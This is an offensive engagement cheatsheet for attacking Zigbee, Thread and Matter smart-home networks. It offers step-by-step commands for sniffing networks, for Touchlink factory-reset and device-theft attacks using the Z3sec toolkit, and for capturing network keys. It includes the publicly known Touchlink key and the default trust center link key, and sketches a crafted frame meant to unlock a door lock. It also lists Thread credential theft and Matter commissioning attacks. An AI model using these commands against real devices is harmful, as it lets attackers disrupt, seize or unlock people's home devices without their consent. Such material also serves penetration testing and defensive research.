Zigbee / Thread / Matter Attacks

Quick Workflow

1. Sniff target frequency (channels 11–26 in 2.4 GHz)
2. Identify network coordinator and joining devices
3. For Zigbee: try Touchlink commissioning with the well-known key
4. Capture join-key exchange when devices commission
5. Replay or inject ZCL/ZHA cluster commands

Hardware

Discovery + Sniffing

# KillerBee suite
zbstumbler -i 0                 # find Zigbee networks
zbid                            # ID coordinators
zbdump -c 11 -w zigbee.pcap     # dump channel 11 to pcap

# scapy-dot15d4 for crafted frames
python3
>>> from scapy.contrib.dot15d4 import *
>>> sniff(iface='/dev/ttyACM0', count=50)

Touchlink Commissioning Abuse

0x9F559A553B7A6B2C5C4FBB4E84956F3D

# z3sec — Zigbee 3 commissioning attack toolkit
git clone https://github.com/IoTsec/Z3sec
python z3sec_inter_pan.py --command "factory_reset_request" --device <addr>
python z3sec_inter_pan.py --command "join_network" --network <PANID>

• Factory-reset victim devices remotely (DoS / mass disrupt)
• Steal lights / sensors into attacker network
• Read network keys after joining device-to-network

Network Key Capture During Joins

# Capture coordinator + joining device exchange
zbdump -c <ch> -w join.pcap

# Decrypt if you obtain the trust center link key
# Older Zigbee 1.x networks used a default trust center link key:
# ZigBeeAlliance09
# Modern networks use device-specific install codes

ZCL / ZHA Cluster Command Abuse

# scapy-dot15d4 frame to unlock a door lock
from scapy.contrib.dot15d4 import *
from scapy.contrib.zigbee import *

frame = Dot15d4FCS()/Dot15d4Data()/ZigbeeNWK(...)/ZigbeeAppDataPayload(...)/ZCLDoorLock(...)
sendp(frame, iface='/dev/ttyACM0')

Thread Specifics

• Network credential is a commissioner-distributed PSKc
• Devices join with the commissioner present
• Mesh commissioning protocol is over UDP/CoAP

• PSKc theft from commissioner devices (mobile app companion, Apple Home, Nest app)
• Reusing a leaked credential to join target network
• 6LoWPAN routing attacks (rank manipulation, sinkhole)

Matter Commissioning

• QR code or manual setup code grants commissioning permission
• Bluetooth LE used for initial commissioning
• Subsequent communication over Wi-Fi or Thread

• Setup-code reuse / replay if commissioning window not closed
• BLE-MITM during initial commissioning (see

  offensive-bluetooth-ble

  )
• Fabric-attestation flaws in early implementations

Detection

• Coordinator may log unexpected device joins
• Hub apps surface "new device" notifications — commonly ignored by users
• Wireshark/Sonoff captures from defenders are rare — most environments don't monitor 802.15.4

Engagement Cheatsheet

# 1. Identify networks + channels
zbstumbler -i 0

# 2. Sniff target channel
zbdump -c <ch> -w cap.pcap
# Open in Wireshark with dot15d4/zigbee dissectors

# 3. Touchlink attack on consumer Zigbee 3.0 lighting
python z3sec_inter_pan.py --command "factory_reset_request" --target <addr>

# 4. Steal device into attacker network
python z3sec_inter_pan.py --command "join_network" --target <addr>

# 5. With network key, issue ZCL commands directly
# (custom scapy-dot15d4 + zbee_nwk frames)

# 6. For Thread: focus on commissioner / PSKc theft from companion apps

Key References

• KillerBee: github.com/riverloopsec/killerbee
• Z3sec: github.com/IoTsec/Z3sec
• "Zigbee Insecurity" research (CON Black Hat talks)
• Thread spec: threadgroup.org/support
• Matter / CSA spec: csa-iot.org/all-solutions/matter
• Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md